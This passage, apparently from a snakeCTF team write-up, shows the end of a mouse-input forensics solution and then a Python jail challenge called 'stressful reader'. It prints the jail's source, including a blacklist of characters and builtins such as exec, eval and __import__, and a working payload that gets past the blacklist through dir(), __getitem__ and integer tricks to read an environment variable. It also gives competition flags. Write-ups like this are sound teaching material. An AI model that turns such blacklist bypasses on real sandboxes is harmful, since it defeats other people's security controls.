         mouse_emulator.move(mx, my)
         mouse_emulator.set_left_button(lbh)
         mouse_emulator.set_right_button(rbh)
+        print(f"{i}: {mouse_emulator.snapshot_str()}")
         yield mouse_emulator.snapshot()

Mouse movements graph

🏁 snakeCTF{c4tch_m3_if_u_c4n!}

stressful reader

I want to read an env variable, but I’m getting stressed out because of that blacklist!!! Would you help me plz? :(

nc misc.snakectf.org 1700

Everyone loves pyjails.

#!/usr/bin/env python3
import os

banner = r"""
 _____ _                      __       _                       _
/  ___| |                    / _|     | |                     | |
\ `--.| |_ _ __ ___  ___ ___| |_ _   _| |   _ __ ___  __ _  __| | ___ _ __
 `--. \ __| '__/ _ \/ __/ __|  _| | | | |  | '__/ _ \/ _` |/ _` |/ _ \ '__|
/\__/ / |_| | |  __/\__ \__ \ | | |_| | |  | | |  __/ (_| | (_| |  __/ |
\____/ \__|_|  \___||___/___/_|  \__,_|_|  |_|  \___|\__,_|\__,_|\___|_|

"""


class Jail():
    def __init__(self) -> None:
        print(banner)
        print()
        print()
        print("Will you be able to read the $FLAG?")
        print("> ",end="")


        self.F = ""
        self.L = ""
        self.A = ""
        self.G = ""
        self.run_code(input())
        pass

    def run_code(self, code):

        badchars = [ 'c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z'
                   , 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N'
                   , 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'
                   , 'X', 'Y', 'Z', '!', '"', '#', '$', '%'
                   , '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@'
                   , '[', '\\', ']', '^', '`', '{', '|', '}', '~'
                   , '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']


        badwords = ["aiter", "any", "ascii", "bin", "bool", "breakpoint"
                   , "callable", "chr", "classmethod", "compile", "dict"
                   , "enumerate", "eval", "exec", "filter", "getattr"
                   , "globals", "input", "iter", "next", "locals", "memoryview"
                   , "next", "object", "open", "print", "setattr"
                   , "staticmethod", "vars", "__import__", "bytes", "keys", "str"
                   , "join", "__dict__", "__dir__", "__getstate__", "upper"]


        if (code.isascii() and
            all([x not in code for x in badchars]) and
            all([x not in code for x in badwords])):

            exec(code)
        else:
            print("Exploiting detected, plz halp :/")

    def get_var(self, varname):
        print(os.getenv(varname))

if (__name__ == "__main__"):
    Jail()

In this one the goal is to call the get_var function to get the value of the env var FLAG. We cannot use a bunch of letters, symbols and builtins functions. So the first thing we did was to enumerate all the available things that we had:

Letters and symbols: a b d e f g i l m r s t v ( ) * + , . : _
Builtins: ['abs', 'all', 'delattr', 'dir', 'id', 'list', 'reversed', 'set']

It was also immediately clear that the F,L,A,G variables were there for a reason and had to be used. Putting things together made us realize that the dir function can be useful to get a list of symbols. dir(self) returned this list:

['A', 'F', 'G', 'L', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'get_var', 'run_code']

So we had a list with the letters we needed to compose the word “FLAG”, we just needed to find a way to get elements of it without using []. The __getitem__ function came in handy for that purpose. The last thing we needed was a way to create integer indexes (from 0 to 3) to get the letters from the list. We tried for a second to look for a fancy solution and then we immediately gave up and found the ugliest solution possible:

all(dir(list)).real # = 1
all(dir(list)).real.__gt__( all(dir(list)).real).real # = 0

Putting everything together turned into this beautiful payload:

self.get_var((dir(self).__getitem__(all(dir(list)).real)) + (dir(self).__getitem__(( all(dir(list)).real + all(dir(list)).real + all(dir(list)).real ))) + (dir(self).__getitem__(all(dir(list)).real.__gt__( all(dir(list)).real).real)) + (dir(self).__getitem__(( all(dir(list)).real + all(dir(list)).real ))))

Was is the best solution? Probably not. Did we care about it? Not at all.

🏁 snakeCTF{7h3_574r_d1d_7h3_j0b}